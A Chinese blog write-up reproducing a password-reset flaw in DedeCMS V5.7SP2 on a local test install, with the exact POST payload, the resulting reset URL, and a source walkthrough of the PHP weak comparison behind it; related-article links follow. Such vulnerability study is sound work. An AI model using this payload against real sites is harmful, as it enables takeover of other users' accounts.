[漏洞复现]织梦CMS前台任意用户修改密码

news/2024/11/7 14:29:27/

1 复现环境

PHP 5.6
DeDeCMSV5.7SP2 正式版(2018-01-09)

复现过程

照葫芦画瓢,水一篇博客。
先下载好该版本的源码,然后解压,搭建过程具体看这篇文章
搭建好以后,反正我是不能直接访问首页的,我们先进入后台首页,默认用户名admin,密码admin。然后
请添加图片描述
请添加图片描述
打开会员功能,不然我们将无法访问member.php
然后访问http://127.0.0.1/DedeCMS/member/index.php这个看自己目录是多少来定,然后注册一个账号,用户名 密码都是test,然后登陆,访问http://127.0.0.1/DedeCMS/member/resetpassword.php,然后用hackbar,post文档里给的东西dopost=safequestion&safequestion=0.0&safeanswer=&id=4但是注意这个id=4,网站目前只有admin和test两个用户,所以如果要改admin的密码就id=1,改test的就id=2,post以后抓包重放得到
请添加图片描述
访问这个链接,http://127.0.0.1/DedeCMS/member/resetpassword.php?dopost=getpasswd&id=2&key=GgTSGAkP注意把arp;删掉,得到http://127.0.0.1/DedeCMS/member/resetpassword.php?dopost=getpasswd&id=2&key=GgTSGAkP访问即可发现,我们可以更改admin用户的密码了(如果id为1的话)。当然只是复现的话没什么难度,照葫芦画瓢,所以我选择看看源码+结合网上分析文章找找为什么这里会出现漏洞,首先看看member文件夹下resetpassword.php的文件内容,因为payload是

dopost=safequestion&safequestion=0.0&safeanswer=&id=4

所以注意到

else if($dopost == "safequestion")
{$mid = preg_replace("#[^0-9]#", "", $id);$sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";$row = $db->GetOne($sql);if(empty($safequestion)) $safequestion = '';if(empty($safeanswer)) $safeanswer = '';if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer){sn($mid, $row['userid'], $row['email'], 'N');exit();}else{ShowMsg("对不起,您的安全问题或答案回答错误","-1");exit();}

这里当dopost==safequestion时进入判断内,然后看

if(empty($safequestion)) $safequestion = '';if(empty($safeanswer)) $safeanswer = '';

通过别的文章了解到,在dedecms的数据库中,如果用户没有设置安全问题则数据库里存储的safequestion默认为"0",safeanswer默认为’null’,如果要让下面这个判断为1,就要让两个比较都成立,两个等号是弱比较

if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer){sn($mid, $row['userid'], $row['email'], 'N');exit();}

通过在线运行php的代码我们可以知道
请添加图片描述
请添加图片描述
所以我们传入的safequestion为0.0,safeanswer不填,他会帮我们置空,那么两个ture就可以进入下面的sn函数了
此时$mid=我们填的id值,
继续跟进sn函数(在inc下的inc_pwd_functions.php)

function sn($mid,$userid,$mailto, $send = 'Y')
{global $db;$tptim= (60*10);$dtime = time();$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";$row = $db->GetOne($sql);if(!is_array($row)){//发送新邮件;newmail($mid,$userid,$mailto,'INSERT',$send);}//10分钟后可以再次发送新验证码;elseif($dtime - $tptim > $row['mailtime']){newmail($mid,$userid,$mailto,'UPDATE',$send);}//重新发送新的验证码确认邮件;else{return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');}
}

进入newmail函数,继续跟进,我们的$type为UPDATE,直接看UPDATE

elseif($type == 'UPDATE'){$key = md5($randval);$sql = "UPDATE `#@__pwd_tmp` SET `pwd` = '$key',mailtime = '$mailtime'  WHERE `mid` ='$mid';";if($db->ExecuteNoneQuery($sql)){if($send == 'Y'){sendmail($mailto,$mailtitle,$mailbody,$headers);ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php');}elseif($send == 'N'){return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);}}else{ShowMsg('对不起修改失败,请与管理员联系', 'login.php');}}
}

请注意上面的步骤,在上面的sn函数中,我们的$send已经变成N了,所以这里我们就会进入到稍后跳转到修改页,并且返回url,那么我们只需要访问这个url即可成功修改任意用户的密码。

debug

为了看得更清楚,就调试一下,也就是跟着跑一遍没有什么技术含量。先把账号,邮箱,验证码填好,然后hackbar内输入payload,因为他会疯狂的进入各种效验函数,所以我们需要下几个断点请添加图片描述
请添加图片描述

然后打开监听,开始查看。可以看到在经过数据库查询后,因为我们没有设置安全问题和安全答案,他这里自动设置为了0和空
请添加图片描述
然后
请添加图片描述
但是在调试过程中,并没有那么顺利,发现进入到sn函数后始终没有进入我想要的循环内,于是再看了一遍漏洞文档,发现只能影响前台用户,也就是当你把id改为1,想修改管理员的密码是不行的。于是再创建一个账号为test2,通过test2账户的修改密码页面配合payload成功修改id=2也就是test用户的密码,可以看到修改任意前台用户的密码成功。请添加图片描述
请添加图片描述
获取返回的链接就能修改密码了。

小结

多少得调一下,只看文档进行照葫芦画瓢的复现对自身并没有任何帮助,熟悉phpstorm配合debug的使用,nice.


http://www.ppmy.cn/news/911192.html

相关文章

智慧新零售收银系统包含pc源码安卓小程序进销存等等功能

智慧新零售收银系统包含pc源码安卓小程序进销存等等功能这里写自定义目录标题 欢迎使用智慧新零售收银系统 欢迎使用智慧新零售收银系统 零售开发语言有:php、HTML5、Java 安卓端收银、助手:原生的Java PC收银端:HTML5vuecssjsnw.js 微信小程…

具有自主产权的SAAS多门店POS收银系统全套源码输出

具有自主产权的SAAS多门店POS收银系统全套源码输出: windows桌面收银系统源码 Android桌面收银系统原生开发 Android手持收银系统原生开发 Android平板pad收银系统原生开发 Android自助收银系统原生开发 IOS手持收银原生开发 IOS平板收银原生开发 微信小程序…

CNVD-2021-17369 -- 锐捷Smartweb管理系统 密码信息泄露漏洞

锐捷Smartweb管理系统 密码信息泄露漏洞 0X001前言0X002 漏洞影响0X003 漏洞原理0X004 漏洞复现0X041 空间搜索寻找目标0X042尝试弱口令登陆0X043查看数据发生的请求文件 0X005 POC0X006 修复建议 0X001前言 锐捷网络股份有限公司无线smartweb管理系统存在逻辑缺陷漏洞&#x…

恒讯科技教您:如何学会让主机免受恶意软件侵害?

知道如何保护主机免受恶意软件侵害是使用者一直关注的问题,各种类型的恶意软件所构成的威胁已经存在数十年。恒讯科技就整理保护主机免受恶意软件侵害的主要步骤,希望用户能够知道安装反恶意软件软件已经属于常态,最重要的是提醒那些并未意识…

锐捷 Smartweb管理系统 密码信息泄露漏洞

漏洞描述 i ⭐锐捷网络股份有限公司无线smartweb管理系统存在逻辑缺陷漏洞,攻击者可从漏洞获取到管理员账号密码,从而以管理员权限登录。 漏洞影响 s ✅锐捷网络股份有限公司 无线smartweb管理系统 空间测绘 d ⭕FOFA:title"无线smartWe…

收银系统源码演示-适合超市便利店零售等行业

一、适合超市、便利店等零售行业的收银系统源码的平台架构 桌面端:PC管理后台、PC网页收银、Windows桌面收银、安卓桌面收银、MAC桌面收银移动端:安卓桌面收银、安卓自助收银、安卓商家助手APP微信端:微信小程序商家助手、微信小程序网店Pad…

APB/AHB/AXI总线介绍和理解

APB/AHB/AXI总线介绍: APB/AHB/AXI均属于AMBA (Advanced Microcontroller Bus Architecture),常用于SoC设计中,全称叫作高级微控制器总线架构,它是由ARM公司研发推出的高性能片上总线协议。 AMBA 1.0还包含ASB和APB(A…